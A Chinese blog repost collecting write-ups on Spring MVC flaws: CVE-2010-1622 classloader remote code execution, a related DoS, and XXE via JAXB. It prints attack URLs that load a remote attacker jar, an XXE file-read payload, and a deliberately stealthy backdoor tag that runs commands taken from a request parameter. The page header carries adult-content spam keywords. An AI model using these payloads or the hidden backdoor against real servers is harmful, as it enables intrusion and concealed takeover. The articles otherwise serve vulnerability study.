日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 前端技术 > javascript >内容正文

javascript

Spring MVC漏洞学习总结

發布時間:2025/4/14 javascript 15 豆豆
生活随笔 收集整理的這篇文章主要介紹了 Spring MVC漏洞学习总结 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

Spring MVC命令執行漏洞

http://book.51cto.com/art/201204/330094.htm
《白帽子講Web安全》第12章Web框架安全,本章講述了一些Web框架中可以實施的安全方案。Web框架本


身也是應用程序的一個組成部分,只是這個組成部分較為特殊,處于基礎和底層的位置。Web框架為安全


方案的設計提供了很多便利,好好利用它的強大功能,能夠設計出非常優美的安全方案。本節為大家介


紹Spring MVC命令執行漏洞。


12.7.3 ?Spring MVC命令執行漏洞


2010年6月,公布了Spring框架一個遠程執行命令漏洞,CVE編號是CVE-2010-1622。漏洞影響范圍如下:


SpringSource Spring Framework 3.0.0~3.0.2


SpringSource Spring Framework 2.5.0~2.5.7


由于Spring框架允許使用客戶端所提供的數據來更新對象屬性,而這一機制允許攻擊者修改


class.classloader加載對象的類加載器的屬性,這可能導致執行任意命令。例如,攻擊者可以將類加載


器所使用的URL修改到受控的位置。


(1)創建attack.jar并可通過HTTP URL使用。這個jar必須包含以下內容:


META-INF/spring-form.tld,定義Spring表單標簽并指定實現為標簽文件而不是類;


META-INF/tags/中的標簽文件,包含標簽定義(任意Java代碼)。


(2)通過以下HTTP參數向表單控制器提交HTTP請求:


class.classLoader.URLs[0]=jar:http://attacker/attack.jar!/?
這會使用攻擊者的URL覆蓋WebappClassLoader的repositoryURLs屬性的第0個元素。


(3)之后org.apache.jasper.compiler.TldLocationsCache.scanJars()會使用 WebappClassLoader的


URL解析標簽庫,會對TLD中所指定的所有標簽文件解析攻擊者所控制的jar。


這個漏洞將直接危害到使用Spring MVC框架的網站,而大多數程序員可能并不會注意到這個問題。
========

SpringMVC中的XXE漏洞測試

http://www.myhack58.com/Article/html/3/62/2015/60644.htm
?SpringMVC框架支持XML到Object的映射,內部是使用兩個全局接口Marshaller和Unmarshaller,一種實


現是使用Jaxb2Marshaller類進行實現,該類自然實現了兩個全局接口,用來對XML和Object進行雙向解


析。并且XML文件可以是DOM文檔、輸入輸出流或者SAX handler。
SpringMVC流行使用注解來快速開發,其中JAXB注解可以對JavaBean中需要與XML進行轉化的地方進行標


注。比如,實現XML文件到User對象的映射,User對象中使用JAXB注解:
?
當在SpringMVC中使用JAXB實現XML與Java Bean映射的時候,可能會導致XXE漏洞,因為SpringMVC中也可


以解析request body中的XML,其原理是在注解模式下,使用注解@RequestBody后,可以將HTTP請求的請


求體引入到我們的Controller的方法中,一般是作為方法的參數來使用。在開啟annotation-driven的時


候,HttpMessageConverter會給AnnotationMethodHandlerAdapter初始化7個轉換器。至于Spring是如何


選擇合適的轉換器的,這里沒有讀源碼,猜測應該是通過Accept或者Content-type頭來進行判斷的。
如果應用程序沒有做有效的處理,那么通過構造request body,我們可以實現外部實體的注入。比如,


Web應用中使用XML傳遞數據時,沒有對外部實體的引用做限制,就可能導入外部實體,導致任意文件讀


取。
在測試漏洞中,只需要在配置文件中對注解驅動與ViewResolver進行配置即可,
正常請求時:
?
在請求中標明提交一個application/xml類型的內容,并在request body中提交一個XML,內容為


name=exploit。提交請求,轉向頁面index.jsp,當然,在controller中我們做了一些處理,將轉換的


user傳給了jsp來呈現,代碼為:


可以看到,控制臺上打印了toString方法的內容:


index.jsp結果如下:


下面引入外部實體,提交:
?
[html] view plaincopy在CODE上查看代碼片派生到我的代碼片
?
<?xml version="1.0" encoding="UTF-8"?> ?
<!DOCTYPE ANY[ ?
<!ENTITY shit SYSTEM ?"file:///c:/1.txt">]> ?
<user><name>&shit;</name></user> ?
這里與上面不同,引入了一個惡意的外部實體shit,并且在回顯的位置<name>中使用這個實體,效果是


讀取c盤下面的1.txt,內容為一串”2”,結果如下:


可以看到,外部實體成功引入并且解析,造成了XXE漏洞。
所以,SpringMVC中處理XML類型的請求體時,所用的轉換器(Converter)是默認支持外部實體引用的,


通過官網的解決方案可以解決該漏洞:
https://jira.spring.io/browse/SPR-10806
?
========

Spring framework(cve-2010-1622)漏洞利用指南

http://www.2cto.com/Article/201204/126157.html


摘要
這個漏洞在2010年出的,,當時由于環境問題,并沒有找到穩定利用的EXP。作者對spring mvc框架不熟


悉,很多地方不了解,結果研究了一半,證明了漏洞的部分嚴重性就放下了,沒有弄出POC來。最近同事


也想研究下,勾起了研究興趣,結果運氣爆發,解決了當年沒有搞定的N多問題和錯誤,這才終于讓服務


器上的CALC跑起來。


當然,本文不會提供POC,只是對官方的POC分析一下,以及告訴大家怎么寫自己想要的EXP,本文不會提


供黑客工具,只討論技術。
正文
這個漏洞其實有兩種玩法,一種是拒絕服務,一種是遠程代碼執行,其中還隱藏著一些其他技術內幕。


我們先從拒絕服務講起,漏洞發布者并沒有提到這里可能出現拒絕服務攻擊,這是本文作者無意中發現


的。這個發現可以繞過tomcat的某段挫代碼,下文中會“弱弱的”提到這個挫代碼事情。


這篇文檔其實對漏洞的介紹,已經非常明確了,基本上翻譯過來就可以明了事情的經過,這里按照自己


的語言,講講重要的東西。
這是spring的漏洞,而這個漏洞的最佳體現,是spring mvc框架。經典的應用,經典的代碼,最終卻會


造成漏洞,這是框架漏洞的經典體現。開發人員如果使用了spring mvc框架,必然會這樣寫代碼,官方


也推薦表單綁定對象這種做法,這種做法,卻由于框架的環境,導致了漏洞。
漏洞原理
Spring mvc可以讓開發者定義一個java bean對象,實現getter和setter方法,之后綁定到表單中,以方


便開發人員使用。
這段代碼,


是一個java bean對象,叫做User.
?
public class User {
? ? ? ?private String name;
? ? ? ?public String getName() {
? ? ? ? ? ? ? return name;
? ? ? ?}
? ? ? ?public void setName(String name) {
? ? ? ? ? ? ? this.name = name;
? ? ? ?}
}
可以把它綁定到一個Controller
?
@Controller
public class TestController {
? ? ? ?@RequestMapping("/test.htm")
? ? ? ?public String execute(User user){
? ? ? ? ? ? ? System.out.println(user.getName());
? ? ? ? ? ? ? return "success";
? ? ? ?}
}
用戶就可以直接提交
?
http://www.inbreak.net/test.htm?name=kxlzx
于是TestController就會自動把name=kxlzx變成對象user.name的值。
這一切自動的過程,得益于spring mvc提供的字段映射功能,這個功能會自動發現user對象中的public


方法和字段,如果user中出現public的一個字段,就自動綁定,并且允許用戶提交請求給他賦值。
比如user類中出現
?
Public String name;
用戶提交name=kxlzx,就可以給它賦值。
如果出現public的setter方法,也會允許賦值。
比如user類中出現
?
? ? ? ?public void setName(String name) {
? ? ? ? ? ? ? this.name = name;
? ? ? ?}
即可允許用戶提交name=kxlzx賦值。
但是如果是
?
Private String name;
并且沒有setter方法,就會不允許賦值。這也是出于安全考慮,不能把user中所有的屬性都暴露出去。
現在問題來了,在java的世界里,所有的對象,都默認繼承了Object基礎類,這個類竟然有個方法叫做
?
Public Class getClass()
意味著所有的對象,包括user在內,用戶默認都可以使用
?
/test.htm?class=xxx
去給它賦值。當然,class的類型并不是基礎類型(string,int,long,double等等),所以用戶即使提交


了賦值其實沒有任何含義。
好在我們可以繼續訪問下去,Object的getClass方法,返回class對象,class對象中有個方法叫做


getClassLoader,這個方法返回ClassLoader對象,用戶可以這樣訪問。
?
/test.htm?class.classLoader=xxx
危險的東西出現了,此對象,代表著程序運行環境的classLoader。隨著web容器的不同,大家對這個東


西的實現方式不一樣。在tomcat上,也就是spring mvc拿到tomcat上運行時,它會變成
?
org.apache.catalina.loader.WebappClassLoader
可以從tomcat的api文檔中,查到這個類的一些字段。
?
http://tomcat.apache.org/tomcat-6.0-


doc/api/org/apache/catalina/loader/WebappClassLoader.html
一旦這個類中,出現了可以set的字段,用戶就可以提交url請求,改變其中的值。classLoader是一個可


以影響所有class加載的重要東西,一旦其中一些字段發生改變,應用程序中就可能會發生各種詭異的事


情,造成應用不正常,甚至所有頁面都訪問出錯。你知道我在說什么,是的,拒絕服務。
Spring mvc 拒絕服務漏洞
翻閱api文檔,可以看到有很多字段,都實現了setter方法,這些字段名稱比較詭異,大多都是“對我們


”沒什么作用的字段,影響不大。唯有一個危險字段,叫做delegate,這個字段可以直接修改掉。
?
? ? public void setDelegate(boolean delegate) {
? ? ? ? this.delegate = delegate;
? ? }
這個字段,是tomcat決定class加載順序用的,或許在這文章中,和大家扯一段類加載的東西不太容易理


解,所以不提原理,我們看篇文章,請大家直接google,作者就不點名了。
?
java.lang.ClassCastException: org.apache.catalina.util.DefaultAnnotationProcessor 解決
文章中會講到兩個信息:
1、他們遇到了嚴重錯誤,導致所有頁面打不開,爆這個錯誤。
2、網友們建議的解決方式,是設置tomcat如下:
?
在tomcat ?conf 下目錄中context.xml中增加
如下節點即可。
<Loader delegate="true" />
也就是說,這個值,必須設置為true,否則他的應用就會掛掉。
下面做個小測試,在我們項目中加入一個tomcat的lib下的jar包,叫做“catalina.jar”,放入/WEB-


INF/lib/下面,啟動tomcat,于是所有的頁面,都打不開了。按照解決方式,設置tomcat后,變為正常



但是出了spring mvc的遠程代碼執行漏洞后,這個設置會變得非常脆弱,只要攻擊者提交
?
http://www.inbreak.net/springmvc/testjsp.htm?class.classLoader.delegate=false
就會有很多頁面,都出現下圖這個詭異的問題。這是因為第一次編譯jsp頁面時,由于類加載順序錯誤,


而產生的錯誤。


\
打開URL后,凡是tomcat啟動后,曾經被訪問過一次以上的頁面,都是正常的,只有那些從來沒有訪問過


的頁面,第一次訪問時,就會出現這個錯誤。
真是怪異的答案,這是另類的拒絕服務攻擊,有些頁面正常,有些頁面不正常,只要控制好攻擊時間,


這個攻擊時間,和啟動服務器的時間越近,威力越大。其實威力大不大無所謂,因為沒有任何一個網站


,所有的頁面,會在1天內被人訪問個遍,所以作為系統管理員,看到這個錯誤,已經非常頭疼了。
struts2 dos漏洞
是的,它也受影響。遠程代碼執行漏洞,是spring出的,很多項目都用到了spring的核心,spring mvc


只是這個漏洞的最佳體現而已。Struts2其實也本該是個導致遠程代碼執行漏洞才對,只是因為它的字段


映射問題,只映射基礎類型,默認不負責映射其他類型,所以當攻擊者直接提交URLs[0]=xxx時,直接爆


字段類型轉換錯誤,結果才僥幸逃過一劫罷了。
逃得了初一,


卻逃不過十五,在攻擊者提交
?
/struts2/testjsp.htm?class.classLoader.delegate=false
給struts2時,struts2看到的是個boolean類型,屬于基礎類型,所以這個值就被修改掉了。當web容器


是tomcat時,它一樣受到影響,現象和spring mvc一致。這里就不抓圖了。順便說上一句,struts2提供


自定義類型轉換功能,歡迎大家把URL類,做自定義類型轉換處理,有了這個處理,效果就和spring mvc


中的遠程代碼執行一致了。作者還不至于找個struts2應用,故意配置一個自定義類型轉換后,假裝自己


發現了個遠程代碼執行漏洞。只是想來這種業務場景極少,比較適合對公司不滿的開發人員留后門用,


誰又能想到開發一個這樣沒有意義的功能,居然有天會引發遠程代碼執行呢?
Spring mvc數組只讀權限繞過漏洞
非常有趣的特性,前文提到,只有在一個字段為public,或者字段的setter方法為public時,才會允許


用戶提交參數,修改這個字段的值。所以這里是個權限繞過漏洞,當一個數組對象的代碼如下:
?
? ? ? ?private String names[];
? ? ? ?public User(){
? ? ? ? ? ? ? names = new String[]{"1"};
? ? ? ?}
? ? ? ?public String[] getNames() {
? ? ? ? ? ? ? return names;
? ? ? ?}
看到了,names這個數組,只是在構造方法中初始化了一下,并沒有public個setter方法出來,甚至


setter方法都沒有實現。理論上,應該是個只讀的字段,但是只要用戶提交
?
/springmvc/testjsp.htm?names[0]=xxxxx
它的值,居然被修改了!
這個漏洞,是遠程代碼執行漏洞的基礎,如果這樣的值不能被修改,也就不可能出現URLs被修改后,導


致的遠程代碼執行漏洞了。現在大家知道了這樣的代碼會出問題,再看看tomcat的WebappLoader類,繼


承URLClassLoader類,URLClassLoader的一個方法叫做getURLs,返回一個數組。只要一個getter返回的


是一個數組,就會繞過安全限制。下面我們繼續看看遠程代碼執行是怎么產生的。
Spring mvc遠程代碼執行漏洞
這里才是主料的開始,現在再來看看怎么才能遠程代碼執行,每次想到這里,都會想到這個老外太有才


了。
getURLs方法,其實用的地方真的不多,只有在TldLocationsCache類,對頁面的tld標簽庫處理時,才會


從這一堆URL中獲取tld文件。它的原理是從URL中指定的目錄,去獲取tld文件,允許從網絡中獲取tld文


件。當一個tld放在jar中時,可以通過
?
jar: /kxlzx.jar!/
這個URL,會下載到tomcat服務器一個jar文件,然后從jar文件中,尋找tld文件,并且根據tld文件,做


spring mvc標簽庫的進一步解析。


Tld文件自己有個標準(詳見jsp標簽庫),在解析的時候,是允許直接使用jsp語法的,所以這就出現了


遠程代碼執行的最終效果。
這是spring-form.tld原本的部分內容示例
\
Form標簽里面有個input的標簽,會根據開發人員的定義,給這些參數默認賦值,前面說到它是支持jsp


語法的,所以拿spring原本的/META-INF/spring-form.tld文件,替換其中內容,可以把這個tld的原本


input tag的內容替換為:


<!-- <form:input/> tag -->
? ? ? ?<tag-file>
? ? <name>input</name>
? ? <path>/META-INF/tags/InputTag.tag</path>
? </tag-file>
這樣指定讓一個tag文件解析。
還缺一個/META-INF/tags/InputTag.tag
?
<%@ tag dynamic-attributes="dynattrs" %>
<%
?j java.lang.Runtime.getRuntime().exec("mkdir /tmp/PWNED");
%>
做出這樣的替換后,當開發者在controller中將任何一個對象綁定表單,并且最終展示的jsp內容有下面


這些:
?
<%@ taglib prefix="form" uri="http://www.springframework.org/tags/form"%>
<form:form commandName="user">
<form:input path="name"/>
</form:form>
攻擊者訪問url:
?
/springmvc/testjsp.htm? class.classLoader.URLs[0]=jar:http://www.inbreak.net/spring-


exploit.jar!/
即可觸發遠程代碼執行的效果,漏洞發布者寫的POC真的很囧。原本頁面會顯示一個文本框才對,現在變


成了一個空白,并且后臺執行命令
mkdir /tmp/PWNED
注意,是所有的頁面,凡是有input的地方,都會變成空白,這個標簽直接被替換掉。
Tomcat的開發人員抽風
不得不說,想觸發漏洞,其實還得過tomcat這一關,這才是幾次研究,都失敗的罪魁禍首,真夠惱火。


想不通,這個漏洞關你tomcat鳥事?你有事沒事出個補丁,害的我調試不出來!
?
http://svn.apache.org/viewvc/tomcat/trunk/java/org/apache/catalina/loader/WebappClassLoader


.java?r1=964215&r2=966292&pathrev=966292&diff_format=h
?
居然在tomcat6.0.28之后的版本,把
?
return repositoryURLs;
改為了
?
return repositoryURLs.clone();
還美其名曰:
Return copies of the URL array rather than the original. This facilitated CVE-2010-1622?


although the root cause was in the Spring Framework. Returning a copy in this case seems?


like a good idea.
想罵這幫家伙,good你妹idea!
這樣的修改,導致了spring mvc遠程代碼執行漏洞觸發失敗,就因為spring mvc拿到的是個克隆的URLs


,不是真的URLs,給了一個山寨貨,修改的并非原本的URLs。作者調試了很久很久,換了N種spring mvc?


controller的實現,都沒有搞定。嗯。。。后來虎軀一震,猜到這是有個家伙在做手腳,果斷翻閱


tomcat的svn diff,果然看到這個文件被一個陰險的家伙做了手腳。
也就是說,如果服務器大于tomcat6.0.28版本,遠程代碼執行,是不可能了,最多可以DOS一下,參見前


文章節。寫這一節,只是發發牢騷,大家調試時候注意一下,不要上當了。
和諧利用的EXP
很顯然,漏洞發布者提供的EXP是不符合期望的,一旦用了之后,被攻擊的網站立刻顯示異常,傻子都知


道出了問題了。所以要改到和諧為止,想來和諧的EXP,應該是符合“想讓它執行,就執行,不想讓執行


,就顯示正?!?。
下載spring-form.tld,給其中的inputtag改名,name改為inputkxlzx:
?
? ? ? ?<tag>
? ? ? ? ? ? ? <name>inputkxlzx</name>
隨便什么名字都可以。新加入一個tag,叫做input:
?
? <tag-file>
? ? <name>input</name>
? ? <path>/WEB-INF/tags/InputTag.tag</path>
? </tag-file>
InputTag.tag的內容(本文只討論技術,為減少危害,此文件不能直接使用,只有懂得人才可以看懂)



?

if (request.getParameter("kxlzxcmd")!=null)
? ? ? ?exec(request.getParameter("kxlzxcmd"));

<form:inputkxlzx path="${dynattrs.path}"></form:inputkxlzx>
精華就在這里,多么和諧啊


,替換了原來的input tag,并且還擁有input tag的功能。頁面顯示的還是原來的input,不影響原本的


業務邏輯,頁面看不出什么來。


只有在攻擊者提交kxlzxcmd時,會執行系統命令,其實這也不夠和諧,最和諧的,是搞個webshell出來


。
看看效果:
\
這個叫做name的Input仍然可以獲取值(kxlzx),正常使用不出錯,只有參數中有kxlzxcmd時,才會觸發


。
總結
最后總結一下漏洞的局限:
1、spring mvc遠程代碼執行必須使用了spring標簽庫才可以,否則不能最終加載tld文件。
2、spring mvc 拒絕服務漏洞只是一個隨機出現的福利,因為服務器上的應用程序不一定class加載順序


倒置就會出問題。
3、原公布者的POC是絕對不能用的,用了之后服務器只能等待重啟了,只要你用了,就準備和管理員打


招呼吧。
4、本文所提EXP并非最好的,最好的當然是寫個shell什么的。
5、由于exp都是替換了input tag,所以必須當前頁面中存在input tag,才能觸發,當然一個正常的web


應用中必然有這樣的頁面。
至于修補漏洞什么的大家自己查,這不是什么新漏洞,只是心血來潮的一篇分析文。技術是不能停止研


究的,所以時不時得練練兵,所以才有了這篇。如果看懂了,至少寫的EXP,是沒問題的,也不至于老外


發了這么舊的文章和公告,居然沒有聽到有人打成功過,而國內每次都是逐字翻譯,木有任何自己的理


解、研究和說明,這樣不好。
========

總結

以上是生活随笔為你收集整理的Spring MVC漏洞学习总结的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。